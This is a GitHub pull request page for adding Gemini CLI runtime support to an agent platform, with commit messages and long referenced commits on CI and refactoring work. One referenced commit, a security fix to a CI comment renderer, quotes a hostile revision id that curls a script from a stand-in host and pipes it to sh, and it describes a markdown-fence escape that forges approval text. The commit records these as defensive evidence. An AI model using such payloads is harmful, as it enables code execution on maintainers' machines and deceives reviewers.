Feature/gemini runtime support - #2
Merged
Merged
Conversation
Implements runtime adapter pattern to support both Claude Code and Gemini CLI, enabling cost optimization and provider flexibility. Key Changes: - Created AgentRuntime interface for runtime abstraction - Implemented ClaudeCodeRuntime (wraps existing code) - Implemented GeminiRuntime with MCP translation - Added runtime selection to AgentConfig model - Updated Dockerfile to install Gemini CLI - Added GOOGLE_API_KEY environment variable support - Created test-gemini template for validation Features: - Seamless runtime switching per agent - Unified cost/token tracking across providers - MCP tool support for both runtimes - 1M token context window for Gemini (5x Claude) - Free tier support (60 req/min for Gemini) Documentation: - Added docs/GEMINI_SUPPORT.md with setup guide - Updated README.md with multi-runtime info - Included gemini-research-summary.md for technical details Backward Compatibility: - Defaults to claude-code if runtime not specified - Existing agents continue working unchanged - No breaking changes to API or templates
Code review fixes: - state.py: Added runtime_available check for both Claude/Gemini - state.py: Dynamic context window based on runtime (1M for Gemini) - chat.py: Fixed parallel task endpoint to use runtime adapter - chat.py: Fixed WebSocket handler to use runtime adapter - chat.py: Model validation now supports Gemini model names - __init__.py: Export get_runtime and AgentRuntime - info.py: Health endpoint now reports runtime info - main.py: Log runtime info on startup - agents.py: Extract runtime config from template.yaml - docker-compose.yml: Add GOOGLE_API_KEY env var for backend Runtime adapter improvements: - Added execute_headless method to AgentRuntime interface - Implemented execute_headless in both ClaudeCodeRuntime and GeminiRuntime - Better error handling and timeout support for headless tasks
Updated key documentation files: - DEPLOYMENT.md: Added GOOGLE_API_KEY configuration section - TRINITY_COMPATIBLE_AGENT_GUIDE.md: - Added runtime field to template.yaml schema - New 'Runtime Options' section with comparison table - Environment requirements per runtime - changelog.md: Added 2025-12-28 entry for Gemini integration - requirements.md: - Added Section 12: Multi-Runtime Support (3 requirements) - Removed 'Claude only' from Out of Scope section
Introduces formal semantic versioning for Trinity: New files: - VERSION: Contains current version (0.9.0) - docs/VERSIONING_AND_UPGRADES.md: Comprehensive upgrade guide Changes: - build-base-image.sh: Now tags images with version number - main.py: Added /api/version endpoint - README.md: Link to versioning docs Versioning strategy: - Semantic versioning (MAJOR.MINOR.PATCH) - All components share single version number - Docker images tagged with version + latest - Version endpoint for runtime queries This establishes v0.9.0 as the Gemini support release.
Changed logger.warning() to print() for consistency with the rest of the file. This was causing 500 errors when creating Gemini agents.
Added 1-second delay and container.reload() after container creation to ensure Docker reports the correct 'running' status before broadcasting to the frontend. Previously, the status was checked too quickly after container.run(), resulting in a transitional state being reported.
WebSocket 'agent_created' event was adding agent to list even when the API response had already added it. Now checks if agent exists before adding from WebSocket event.
Gemini CLI expects the environment variable GEMINI_API_KEY, not GOOGLE_API_KEY. Updated agent creation to pass the correct name.
- Remove push from createAgent() to avoid race condition - WebSocket 'agent_created' event is now the single source for adding agents - Keep duplicate check in WebSocket handler for reconnection safety
Gemini CLI outputs {'type':'message','role':'assistant','content':'...'}
for responses, not the format we originally expected. Also fixed stats
parsing from 'stats' field instead of 'usage'.
Gemini CLI outputs tool_use and tool_result at the top level, not nested inside assistant/user messages like Claude Code. Added handling for both formats to support tool execution tracking.
Sometimes Gemini CLI returns success with no assistant message content. Instead of throwing a 500 error, return a placeholder response.
When Gemini executes a tool but doesn't output an assistant message, use the tool result output as the response instead of '(Task completed)'. This provides more useful feedback to the user. Also added debug logging for stream parsing and saved refactoring plan.
- Make trinity_mcp.py runtime-aware (Claude .mcp.json vs Gemini CLI) - Add _inject_gemini_mcp() for gemini mcp add commands - Add configure_mcp_servers() shared function - Simplify GeminiRuntime.configure_mcp() to use shared impl - Add output field to ExecutionLogEntry model - Document CLAUDE.md usage for both runtimes - Add template priority for UI ordering - Update GEMINI_APPLICATIONS.md status to implemented
Renamed: docs/development/GEMINI_APPLICATIONS.md
-> docs/memory/feature-flows/gemini-runtime.md
Clearer naming and consistent with other feature flow docs.
- Add GEMINI_PRICING constants for different models - Add calculate_gemini_cost() function - Calculate estimated cost from token usage in result parsing - Gemini free tier shows what costs *would* be for comparison
- Add runtime field to AgentStatus model - Extract runtime from container env vars in docker_service.py - Add computed availableModels based on agent.runtime - Show Gemini models for gemini-cli agents - Show Claude models for claude-code agents - Dynamic tooltip based on runtime
- Add gemini-3-pro and gemini-3-flash to UI model selector - Add estimated pricing for Gemini 3 models
Source: ai.google.dev/pricing (Dec 2024) - Gemini 3 Pro: $2.00/1M in, $12.00/1M out - Gemini 3 Flash: $0.50/1M in, $3.00/1M out - Gemini 2.5 Pro: $1.25/1M in, $10.00/1M out - Gemini 2.5 Flash: $0.30/1M in, $2.50/1M out - Gemini 2.0 Flash: $0.10/1M in, $0.40/1M out - Gemini 2.0 Flash Lite: $0.075/1M in, $0.30/1M out
- Add ADMIN_USERNAME env var support in database.py - Add stub functions for plan/task helpers in Agents.vue - Whitespace cleanup across multiple files
- Add multi-runtime capability to welcome page - Add Google API key to prerequisites (free tier!) - Update agent creation to mention runtime selection - Add runtime comparison table to Core Concepts - Update checklist with both API key options - Add link to Gemini Support Guide - Include testing docs folder
- Chat endpoint now uses agent_state.current_model when request.model is None - WebSocket endpoint also respects model from message or state - Ensures model selector dropdown actually affects which model is used
- 001: Claude context window shows incorrect values (understated by 20-30x) - 002: Unified context reporting interface across runtimes - README: Backlog structure and guidelines for AI agents
Resolves conflicts: - docs/memory/changelog.md: Merged Gemini entries chronologically - src/backend/routers/agents.py: Use main's service layer, added multi-runtime to service - src/frontend/src/views/AgentDetail.vue: Use main's Terminal tab, added model selector computed Multi-runtime support: - Added runtime config extraction in agent_service/crud.py - Added runtime config extraction in agent_service/deploy.py - Added AGENT_RUNTIME, AGENT_RUNTIME_MODEL, GEMINI_API_KEY env vars - Added trinity.agent-runtime Docker label - Added runtime-aware model selector in AgentDetail.vue
oleksandr-korin
pushed a commit
that referenced
this pull request
Dec 28, 2025
Bug #1: Terminal session lost when switching tabs - Changed v-if to v-show for terminal tab content in AgentDetail.vue - Keeps terminal component mounted, preserving WebSocket connection Bug #2: MCP deploy_local_agent only copied CLAUDE.md - Updated startup.sh to copy ALL template files instead of hardcoded list - Now includes template.yaml and custom directories (src/, lib/, etc.) - Added .trinity-initialized marker to prevent re-copying on restart 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
- Write directly to ~/.gemini/settings.json instead of using 'gemini mcp add' - Workaround for Gemini CLI bug where --transport http creates invalid 'type' field - Enables Trinity MCP tools (chat_with_agent, etc.) for Gemini agents
- Create schedule_execution records for manual tasks via /api/agents/{name}/task
- Track success/failure status, response, cost, and tool calls
- Makes manual tasks visible in the Tasks panel UI alongside scheduled tasks
This was referenced Sep 2, 2026
This was referenced Sep 7, 2026
vybe
pushed a commit
that referenced
this pull request
Sep 8, 2026
…#2590) * docs(ci): requirements + Invariant #3 for the pre-merge Alembic head watcher (#2533) Requirements-first (Rule #1) for the #2533 watcher. `requirements/infrastructure.md` gains §8.11 (HEADW-001..010): the defect is STALENESS, not a checkout bug — `schema-parity`'s single-head guard runs unconditionally and `actions/checkout` already resolves `refs/pull/N/merge`, so it tests the merge result correctly. GitHub recomputes that ref when the base advances but does not re-trigger workflows, so #2526's last green run described a base that no longer existed. `architecture.md` Invariant #3 gains two sentences on the same point, amending the "One head per version-line (#2068)" passage rather than restating the fork mechanics already documented there. Doc tier called explicitly: this is a NEW CAPABILITY, not Rule #4's "bug fix: commit message only" — the deliverable is a new always-on CI service with a new PR-facing signal and a new permission scope. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * ci(alembic): re-check open migration PRs against the live dev tip (#2533) #2526 merged carrying an Alembic head fork that every pre-merge signal reported as clean. Not a checkout bug: `schema-parity` runs the single-head guard unconditionally and `actions/checkout` already resolves `refs/pull/N/merge`, so the guard was testing the merge result and was correct. It was STALE — that run happened 75 minutes before the competing revision landed on `dev`, and GitHub recomputes the merge ref when the base advances without re-triggering workflows. `alembic-head-watch.yml` re-runs `scripts/ci/check_alembic_heads.py` — UNCHANGED — over an in-memory merge of each open migration PR against the live `dev` tip. The trigger is the precise one: a push to `dev` touching `src/backend/migrations/versions/**` is the exact moment every open migration PR's last green run is invalidated. The 6-hourly cron is a dropped-run backstop (and fires only from `main`, since `schedule:` runs from the default branch). `git merge-tree --write-tree` makes no commit and touches neither the working tree nor the index, so this workflow structurally cannot push; its exit contract (0 clean / 1 conflict / else error) distinguishes a conflicting PR from an infrastructure failure natively, avoiding the `--diff-filter=U` heuristic #1941 got wrong. Because the PR is never checked out and the only PR bytes on disk are revision files read by `ast.parse`, no PR-authored code executes — which is why this is one job rather than backend-unit-nightly.yml's three-job split. Reporting is idempotent in both directions: a commit status (the alarm at the merge click) plus one marker-keyed sticky comment (the diagnosis). A clean PR never gains a sticky; `conflict` and `unknown` publish no status, because a false all-clear on a check that never ran is the #2029 failure. Advisory by design and never a required context — the pg-migrations precedent. The `pull_request` arm is a dry-run self-test: `workflow_dispatch` cannot reach a workflow that exists only on a feature branch, so without it a change here would be unverifiable until after it merged. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * test(ci): guard the Alembic head watcher's load-bearing properties (#2533) 36 tests. Static guards over the workflow in the shape of test_1941_nightly_merge_depth.py / test_2462_nightly_budget.py, with every string assertion run against the YAML with COMMENT LINES STRIPPED — this workflow's own header says it "cannot push" and "never checks out the PR", so a naive substring search matches the prose and passes while the shell does the opposite. Pinned: the push trigger stays restricted to `dev` + the version line; the pull_request arm stays path-filtered and DRY_RUN-gated; no write-side git command appears anywhere; merge-tree's conflict and error arms stay distinguished; fetch-depth stays 0 (#1941, third workflow); both version lines reach the guard; the enterprise arm stays guarded against absence; a forked `dev` evaluates no PR; a sweep that produces nothing fails the run. The verdict module is EXECUTED, not grepped — it is the one path that can publish a green tick for a check that never ran. Includes the coupling neither file can see: the guard's real output, produced by running check_alembic_heads.py on a reconstruction of #2526's fork, is fed to parseGuardOutput, and the resulting fix instruction is asserted to name `0050_agent_canvases` — what #2526 actually did. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(ci): close the nine review findings on the Alembic head watcher (#2533) Three independent reviews (autoplan strategy, autoplan engineering with mutation testing, and Codex gpt-5.5 adversarially) returned "ship with changes". These are the nine, ordered by what they could do to a run. M1 — the self-test could not run at all. The verdict module is require()d from the workspace, and the workspace is dev, so `alembic-head-verdict.js` was never exercised by the arm that exists to exercise it — and on the PR that ADDS the file the baseline step hard-failed with "missing from dev". A second SPARSE checkout of scripts/ci into a side path supplies the PR's copy, gated on `pull_request` AND same-repo. The python guard is never sourced this way: it is the assertion dev enforces. M2/M2b — `tree=$(git merge-tree … | head -1); rc=$?` read merge-tree's exit only because pipefail survives `set +e`; without it a CONFLICTING PR was classified clean and published a green status for a check that never ran. Streams now go to files: no pipeline, no SIGPIPE, stderr preserved for the warning. That also gives M2b's discriminator free — measured on git 2.50.1, an unresolvable ref exits 1 with EMPTY stdout while a real conflict exits 1 with the merged tree's OID, so exit 1 alone answered an infrastructure fault by telling an innocent author their PR conflicts. M3 — the dev_head parse ran under `set -euo pipefail`; a reworded guard line made grep exit 1 and killed the step on a healthy dev, while the `<unparsed>` fallback written for that case never printed. `|| true`. M4 — `cancel-in-progress: false` does not queue; GitHub evicts the pending run. Harmless between two push runs (a later sweep subsumes an earlier one), not harmless across events: a dry-run self-test could silence a real push run. Group keyed on the event. M5 — six of eight load-bearing mutations survived the suite. Added guards for the DRY_RUN read AND its pass-through, the bot-author filter, pagination, the merge-tree error arm (scoped to the evaluate step, not every run: block), the 500-file cap, the no-pipe rule, the symlink sweep, and the M1/M7/M8 wiring. 19/19 mutations now killed. M7 — one try/catch wrapped the status, the comment guard and both comment calls. A throwing status call skipped the comment entirely, so on `fork` — the one outcome this exists to be seen on — the human saw nothing and the run passed. Separate try/catch per signal; setFailed when neither published. M8 — `footer()` embeds this run's URL, so `sticky.body === v.comment.body` was never true and "skipped when unchanged" was unimplementable. Compare through `stickyBodiesMatch`, which normalises the run id away. M9 — `git archive` can emit symlinks and the guard read_text()s every *.py it globs; a link at an unbounded source can hang or OOM a job holding write scopes. Disclosure was already closed (ids and filenames only reach output); this closes the resource path, in the workflow rather than the guard. 88 passed, 2 skipped; actionlint rc=0. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(ci): correct HEADW-003/006/008/009 to what the watcher actually does (#2533) M6 was a doc claiming a control that does not exist: §8.11 said extraction is "capped (500 files / 5 MB)". Only the file cap shipped, and it bounds PARSING, not extraction — the tree is already on disk by then and bounded by the repo. The rest of this is the same class, caught while fixing the code: - HEADW-003 asserted git's exit contract as "0 clean / 1 conflicts / anything else error". Measured on git 2.50.1, exit 1 is OVERLOADED — an unresolvable ref exits 1 with empty stdout, a real conflict exits 1 with the merged tree's OID. Records the tree OID as the discriminator, the file redirect that removes the pipefail dependency, and the symlink sweep. - HEADW-006 promised a sticky "skipped when unchanged"; the footer's run URL made that unreachable. Records the normalised comparison, and M7's separate failure domains for the status and the comment. - HEADW-008/009 said "the PR is never checked out", which stops being true verbatim once the self-test sources its own scripts/ci. Records the narrower true statement — the guard's workspace is dev only — and the same-repo gate. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(flows): record where the Alembic head guard's freshness comes from (#2533) /sync-feature-flows: NO new flow doc, and the precedent is written down rather than inferred — database-migration-runner.md's Related Flows already covers this guard and says in as many words "No flow doc of its own: the mechanism is one stdlib script". The index's own scope is UI → API → Database → Side Effects, which a CI workflow has none of. So the delta is to amend that paragraph, which had become misleading: it named `schema-parity` as the pre-merge guard without saying that run is fresh only at PR-event time. Someone triaging a fork that shipped green would read it and conclude the guard had failed, when it had merely aged. Index row added anyway (the "always add a row" rule), pointing at the flow it amends. Noted, not acted on (Rule #2, pre-existing): Recent Updates is at 117 rows against #1360's ~20 cap, and the index is 522 lines against the skill's 400. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(ci): treat every value the head-watch comment renders as attacker-controlled (#2533) /review + /cso --diff on the branch. Both reviews landed on one real defect, in the new verdict module rather than the workflow. `alembic-head-verdict.js` renders two values that come out of the PR's OWN revision files — `revision = "<any string>"` and the committed filename — into a comment authored by `github-actions[bot]`. On a public repo any fork author picks them, and the fork arm is exactly the path that fires. Proven by execution against the real guard before the fix: * `revision = "$(curl${IFS}-s${IFS}http://evil.example/x|sh)"` survived `parseGuardOutput`'s `\S+` capture into the `alembic merge` suggestion — a command the comment invites a maintainer to paste into a shell. * An id carrying a newline plus a triple backtick closed the hard-coded fence around the quoted guard output, putting attacker markdown ("**Reviewed and approved — safe to merge.**") into the bot's comment. Neither is code execution on the runner — revision files are only ever `ast.parse`d (HEADW-008) — both are the comment being made to say something its author did not write, which is the only reason anyone trusts it. * `isSafeRevisionId` gates interpolation into the pasteable command on `^[A-Za-z0-9._-]{1,255}$` (Alembic's own width, Invariant #3); anything else degrades to the generic `<head-a> <head-b>` placeholder. Nothing diagnostic is lost — the verbatim guard output above it still names the real ids. * `fenced()` opens the quoted block with one backtick more than the longest run inside it. CommonMark closes on the first run >= the opening fence, so a hard-coded ``` is escapable by any input that contains one. Also: the `fork` comment now says when it clears, the way `conflictBody` already did. Without it an author who rechains and pushes sees a stale warning until the next push to `dev` (their own push does get a fresh, correct `schema-parity` run — it is the sticky that lags). Tests: 3 added, all three mutation-killed, including the control that proves an ordinary fork still gets a runnable `alembic merge 0050_a 0050_b`. Built end-to-end through the real `check_alembic_heads.py`, since the hostile ids have to survive its formatting before they reach the module. 57 passed (was 54); `test_2068_alembic_heads_guard.py` unchanged and green. Docs: HEADW-011 in requirements/infrastructure.md; a learnings entry for the class (CI that comments on a PR is a rendering surface for PR-controlled text). Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(ci): order HEADW-010 before HEADW-011 (#2533) HEADW-011 was appended when the attacker-controlled-rendering finding landed and took 010's slot, leaving the numbered list out of order. No content change to either requirement. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 <noreply@anthropic.com> Co-authored-by: sim <sim@example.com>
4 tasks
louisss1016
pushed a commit
to louisss1016/trinity
that referenced
this pull request
Sep 13, 2026
…i#1481) (Abilityai#1693) * refactor(db): split db/schedules.py into a db/schedules/ mixin package (Abilityai#1481) Pure mechanical move of the 4,139-line src/backend/db/schedules.py into a ten-mixin db/schedules/ package composed into ScheduleOperations — the sanctioned db/agent_settings/ shape (Invariant Abilityai#2). Zero behavior change, zero schema change (0 DDL in the file, Invariant Abilityai#3 untouched), zero WHERE clause edits, zero signature edits. - __init__.py composes ScheduleOperations from ScheduleCommonMixin / Crud / Webhooks / Executions / Queue / Cleanup / Analytics / Stats / GitConfig / Retention and re-exports the class + _norm_ts + _TRIGGER_BUCKETS so the facade import `from db.schedules import ScheduleOperations` is unchanged (both prod sites: database.py, db/__init__.py). No import edges between mixin files; cross-slice refs resolve via the composed class's MRO. - find_soft_deleted_schedules_past_retention moves to retention.py so its caller, count_soft_deleted_schedules_past_retention, and the shared _soft_deleted_schedules_predicate module-global are co-located (a bare-name module-global does not resolve via MRO — would NameError on the Abilityai#834 purge). - The three fat signatures (create_task_execution / update_execution_status / create_schedule_execution) are byte-identical (reserved for Abilityai#1482). - The 20 Abilityai#1082 status-CAS writers and all pull/backlog/lease seams (Abilityai#1081/Abilityai#1550, BACKLOG-001) moved verbatim; every WHERE precondition preserved. - Only allowlisted text deviations: relative-import depth (.->..), logger name pinned to the literal getLogger("db.schedules") in the 3 logging modules, and the _PERCENTILE_ROWSET_CAP monkeypatch doc-comment retargeted to db.schedules.analytics. Lockstep test edits forced by the move (the only non-move work): - test_schedule_status_observability.py: writer discovery now rglob-scans the db/schedules/ package (was one hardcoded file) with an in-function `assert sites` non-empty tripwire so the CAS-precondition guard can never pass vacuously; found == _EXPECTED_UPDATE_SITES (20) both ways. - test_agent_analytics.py / test_schedule_analytics.py: _PERCENTILE_ROWSET_CAP monkeypatch retargeted to db.schedules.analytics (module-identity trap). - conftest.py + test_agent_analytics.py: sys.modules eviction/baseline widened to db.schedules.* children (prefix match, future-sub-split-proof). Proof: symbol-set diff (103 functions, none added/dropped/renamed) + AST source-segment body diff (all 103 bodies byte-identical) vs origin/dev. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * docs(architecture): add db/schedules mixin package as an Invariant Abilityai#2 exemplar (Abilityai#1481) Records ScheduleOperations' composition from ten concern-scoped mixins in db/schedules/__init__.py alongside the existing db/agent_settings/ exemplar, noting the preserved facade import path and the MRO-not-imports cross-slice contract. Pure doc delta for the Abilityai#1481 mechanical split; no behavior change. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
louisss1016
pushed a commit
to louisss1016/trinity
that referenced
this pull request
Sep 13, 2026
…rvices (Abilityai#1483) (Abilityai#1695) * test(chat): characterization + route-order guard before the Abilityai#1483 split Pin the observable behavior of routers/chat.py's two monsters and the Invariant Abilityai#4 route-order landmine BEFORE any code moves (issue-mandated TDD spine), so every extraction step can be held byte-identical. - test_1483_run_chat_and_finalize_characterization.py: the sync-chat execute+finalize path — SUCCESS (UUID-validated claude_session_id, activity completion, idempotency snapshot, slot release), the full SUB-003 429/auth switch matrix (switch-authoritative / switch-raised / switch-real-errored / no-switch — the top-risk branch), budget exhausted, and Abilityai#678 partial-metadata salvage. Anchored on sys.modules[fn.__module__] so patch targets follow the move. - test_1483_execute_parallel_task_characterization.py: the /task monster end-to-end — sync immediate/backlog(drain + row-reconstruction), async queued-202 (Abilityai#914 shape) / accepted-202, Abilityai#1672 resume 400/404, SELF-EXEC-001 403 spoof, idempotency replay 409/snapshot, Abilityai#1444 chat_persist_failed marker, the upload-502-keeps-idem quirk (RD11), and the Abilityai#1578 reserved-event triggered_by="event" sinks. - test_1483_route_order.py: proves GET /executions/running resolves to chat's get_agent_running_executions (not schedules' get_execution) via the app's real match order — OpenAPI is blind to route order (Abilityai#1483 §5). 35 new tests green against unmodified code. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * refactor(chat): extract chat_persistence_service (Abilityai#1444 persistence) — Abilityai#1483 Move `_persist_chat_session` + `_persist_and_broadcast_chat_session` out of routers/chat.py into services/chat_persistence_service.py (Invariant Abilityai#1 — the router holds no DB/persistence logic). Byte-for-byte preserved: the Abilityai#1444 SUCCESS-guard, the IDOR owner-check that falls through to the caller's own session, and the fail-loud non-fatal ERROR log carrying only agent name + execution_id + exception type (no user content, no re-raise). The chat_response_ready WebSocket broadcast moves with it and gets its own set_websocket_manager wired in main.py (per-service setter pattern). The router imports the service module and delegates at both call sites (the sync /task branch and the async wrapper). No route/model/status change; OpenAPI byte-identical. Tests repointed in-commit (module-identity): test_1444 direct calls + the fail-loud caplog logger name (now services.chat_persistence_service, RD13); test_async_task_persistence patches persist_chat_session + mirrors the service _websocket_manager for the chat_response_ready broadcast. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * refactor(chat): extract dispatch_admission_service + chat_signals — Abilityai#1483 Move the request-admission orchestration out of routers/chat.py (Invariant Abilityai#1). New leaf services: - services/chat_signals.py — dependency-free domain signals the chat services return/raise instead of touching FastAPI: ChatAdmission / ChatExecutionContext (relocated NamedTuples), ChatAdmissionReplay (idempotent-replay outcome), and ChatDispatchError (HTTP-free error carrying the status/detail/headers the router maps 1:1). - services/dispatch_admission_service.py — the /chat admission gate (admit_chat_request: idempotency begin/replay + audit, the Abilityai#526 F1 pure-state breaker read, CapacityManager.acquire) and the shared /task idempotency begin/replay (begin_task_idempotency + audit_idempotent_replay). HTTP-free: it returns ChatAdmission/ChatAdmissionReplay and raises the already-domain CircuitOpen/CapacityFull/EphemeralBudgetExhausted; the thin router maps them to 503/429/410 (the FAILED-row-write + raise stay in the router's _raise_* helpers, RD-E12). Named "dispatch" not "chat" because it serves both endpoints (RD2). Preserved byte-for-byte: idempotency release-vs-keep (upfront deny → fail), the audit rows, the breaker fast-fail, and every deny status/detail. OpenAPI byte-identical (372 paths). Route-order guard green. Tests repointed in-commit (module-identity): admission collaborators now patched at dispatch_admission_service in test_chat_admission / test_946 / test_1578 / the Abilityai#1483 /task characterization suite; the direct admit-helper test imports from the new service + chat_signals. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * refactor(chat): extract chat_execution_service — /chat applier + setup (Abilityai#1483) Move the /chat business logic out of routers/chat.py into services/chat_execution_service.py (Invariant Abilityai#1), decomposing the CC-57 _run_chat_and_finalize monster (AC Abilityai#2): - prepare_chat_execution (was _prepare_chat_execution): exec record + subscription + collaboration broadcast/activity + session + chat-start activity + user-msg log. - broadcast_collaboration_event (moved, own set_websocket_manager wired in main.py). - run_chat_turn (was _run_chat_and_finalize, declared TRANSITIONAL — RD15) split into build_chat_payload / _finalize_chat_success / _parse_agent_http_error / _finalize_budget_exhausted / _finalize_http_failure / _apply_sub003_autoswitch. Each ≤ CC 20. HTTP-free: failure paths raise ChatDispatchError, mapped 1:1 by the thin chat_with_agent handler; the lone fastapi touch is the defensive `except HTTPException: raise` preserving SUB-003 propagate-unchanged semantics. Byte-for-byte preserved: MEM-001 runtime-aware prompt, Abilityai#686 mark-dispatched-before-POST, UUID-validated claude_session_id, Abilityai#1332 read-before-close mirroring, Abilityai#678 partial- metadata salvage, the full SUB-003 429/auth switch matrix, and the finally slot+idem release. routers/chat.py: 2756 → 1889 lines; unused imports trimmed. OpenAPI byte-identical (372 paths). Tests repointed in-commit: the run_chat_turn char suite + test_chat_admission's direct finalize/prepare tests (now raise ChatDispatchError, patch _CE collaborators); the test_chat_dispatched_marker AST/mirror guards now parse chat_execution_service.py. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * refactor(chat): move /task dispatch into chat_execution_service — Abilityai#1483 Decompose the CC-82 execute_parallel_task monster (AC Abilityai#2). The router keeps only the request-boundary guards (container 404/503, Abilityai#1672 resume IDOR gate, Abilityai#1068 timeout normalization — the redis-via-router helper stays here per RD10) and a thin call that maps ChatDispatchError → HTTPException / ChatAdmissionReplay → 409/200. Everything else — derive/spoof (403), idempotency begin/replay, file upload (502), row+activity creation, and the async/sync fork — moves to chat_execution_service, each function ≤ CC 20 / ≤ 150 lines: dispatch_parallel_task, derive_source_and_trigger, process_task_file_uploads, create_task_execution_and_activities, _acquire_task_capacity, _map_task_failure, _dispatch_async, _dispatch_sync{,_immediate,_backlog}, run_async_task, complete_collaboration_activity, finalize_self_task (kept WHOLE, RD9). execute_parallel_task: CC 82 → 13; routers/chat.py: 2756 → 1132 lines. The sync paths still delegate to task_execution_service.execute_task (never a 2nd applier, RD1). Circuit/ephemeral 503/410 + FAILED-write mirrored in the service (single place per path — no double-write, RD-E12). Abilityai#1578 reserved-event tag flows through every sink; Abilityai#914 queued-202 shape, Abilityai#1444 chat_persist_failed, and the upload-502 no-idempotency-fail quirk (RD11) preserved. OpenAPI byte-identical. - Repoint the production importer backlog_service.py:265 → services.chat_execution_service.run_async_task (kept LAZY — breaks a real cycle). - The chat router no longer holds a WebSocket manager (all broadcasts moved to the two services, each with its own setter — §7 minimize-WS-globals); main.py wiring updated. Unused router imports trimmed. - Tests repointed in-commit to the new collaborator modules (module-identity): the /task char suite, test_946, test_1578, test_backlog (fake-module + AST guard), test_1332, test_1457, test_async_task_persistence, test_1444, test_1672. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * refactor(chat): move terminate_execution into chat_execution_service — Abilityai#1483 Decompose terminate_agent_execution (CC 22, 177 lines — the last function over the AC Abilityai#2 gate) into chat_execution_service, HTTP-free: terminate_execution (orchestrator), _cancel_queued_if_queued (BACKLOG-001), _proxy_terminate_and_finalize (agent-proxy + force-release + Abilityai#679 CANCELLED CAS + final activity), _close_dispatch_activity_cancelled (Abilityai#1332). The router handler is now a thin mapper (ChatDispatchError → HTTPException). The agent-proxy stays inline rather than reusing task_execution_service.terminate_execution_on_agent — that helper returns a bool and swallows connect/timeout, so reusing it would drop the 502/504/404 the router surfaces (a behavior change). Abilityai#679 already-finished-vs-terminated and the Abilityai#1332 CAS-gated dispatch-activity close preserved byte-for-byte. Result: EVERY function in routers/chat.py + the chat services is now ≤ CC 20 and ≤ 150 lines (AC Abilityai#2 met). routers/chat.py: 2756 → 988 lines. OpenAPI byte-identical. Unused router imports trimmed. test_679_terminate / test_1332 terminate patches repointed to chat_execution_service (httpx.AsyncClient stays a global patch). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * test(chat): guard that every WS-manager setter in main.py is invoked (Abilityai#1483 §7) Static AST check: any `set_*_ws_manager` alias imported into main.py must also be called at startup wiring. Mitigates the silent-no-op hazard the split introduced by fanning the chat broadcasts across chat_execution_service / chat_persistence_service — a missed setter leaves the module global None and the broadcast vanishes (invisible to the OpenAPI diff and manager-patching tests). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * docs(chat): document the Abilityai#1483 chat split - architecture.md: add chat_execution_service / dispatch_admission_service / chat_persistence_service / chat_signals to the Backend Services catalog; note task_execution_service stays the single terminal applier; repoint the chat_sessions/chat_messages persistence citation to chat_persistence_service. - feature-flows.md: Recent Updates row for Abilityai#1483. - authenticated-chat-tab.md: persistence now in chat_persistence_service (logger name change); async wrapper now chat_execution_service.run_async_task. - task-execution-service.md: sync-chat sibling note — run_chat_turn is the transitional divergent applier; /task delegates here; single-applier seams untouched; convergence is a follow-up. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * docs(chat): repoint authenticated-chat-tab file listing to the Abilityai#1483 services The async /task wrapper (run_async_task) and Abilityai#1444 persistence now live in chat_execution_service / chat_persistence_service; the router keeps only thin handlers. Historical Recent-Updates rows are left as dated records. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * test(chat): make Abilityai#1483 route-order include-index guard robust to flattened route table test_chat_router_precedes_schedules_router_in_include_order failed on the pinned fastapi==0.115.6 (and 0.124.2): its _include_index helper only handled an _IncludedRouter-wrapped app.routes, but include_router flattens routes into plain APIRoute entries in both versions — so the endpoint lookup always fell through to AssertionError. Reuse the same both-shapes handling already in _flatten_in_match_order (flattened APIRoute in app.routes, or legacy _IncludedRouter wrapper). The three load-bearing Match.FULL resolution tests were unaffected. 4/4 now green on fastapi 0.115.6 and 0.124.2. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * test(chat): patch the Abilityai#1444 fail-loud tests on the service's own db (Abilityai#1483) The two fail-loud persistence tests monkeypatched `chat_mod.db`, but after the Abilityai#1483 split `persist_chat_session` lives in `chat_persistence_service` and binds `db` at its own import. The `chat_mod` fixture pops `database` from `sys.modules` and reimports `routers.chat`, so `chat_mod.db` is a different DatabaseManager instance than the one the function calls — the injected boom only landed when a full-sweep import order made the two coincide, so the tests passed in-batch but failed standalone. Repoint both patches to `chat_persistence_service.db` (the instance the code under test actually calls). No product-code change; the tests now pass standalone and in-batch, keeping the Abilityai#1444 fail-loud + PII-safety guard order-independent. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * test(chat): skip route-order guard loudly under the polluted full-sweep (Abilityai#1483) The full `tests/unit` collection binds `sys.modules['utils']` to the repo's `tests/utils` package (pythonpath lists `tests` before `src/backend`), which has no `password_validation` submodule. This module imports the assembled `main` app at module scope, and `main` → `routers/setup.py` does `from utils.password_validation import ...`, so under the whole-directory collection the import dies with ModuleNotFoundError and the module ERRORS collection — a permanently-red entry in CI's regression-diff (which runs the whole matrix). Standalone, `utils` resolves to `src/backend/utils` and the import is clean. Wrap the module-scope `import main` so a polluted collection produces a loud module-level `pytest.skip(...)` (with a run-standalone reason) instead of a collection error. Keying on the actual `import main` outcome is bulletproof for the success path: standalone still imports cleanly and runs 4/4; the full collection goes from "4437 collected, 1 error" (exit 1) to "4437 collected" (exit 0), with this file skipped in-collection. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> --------- Co-authored-by: 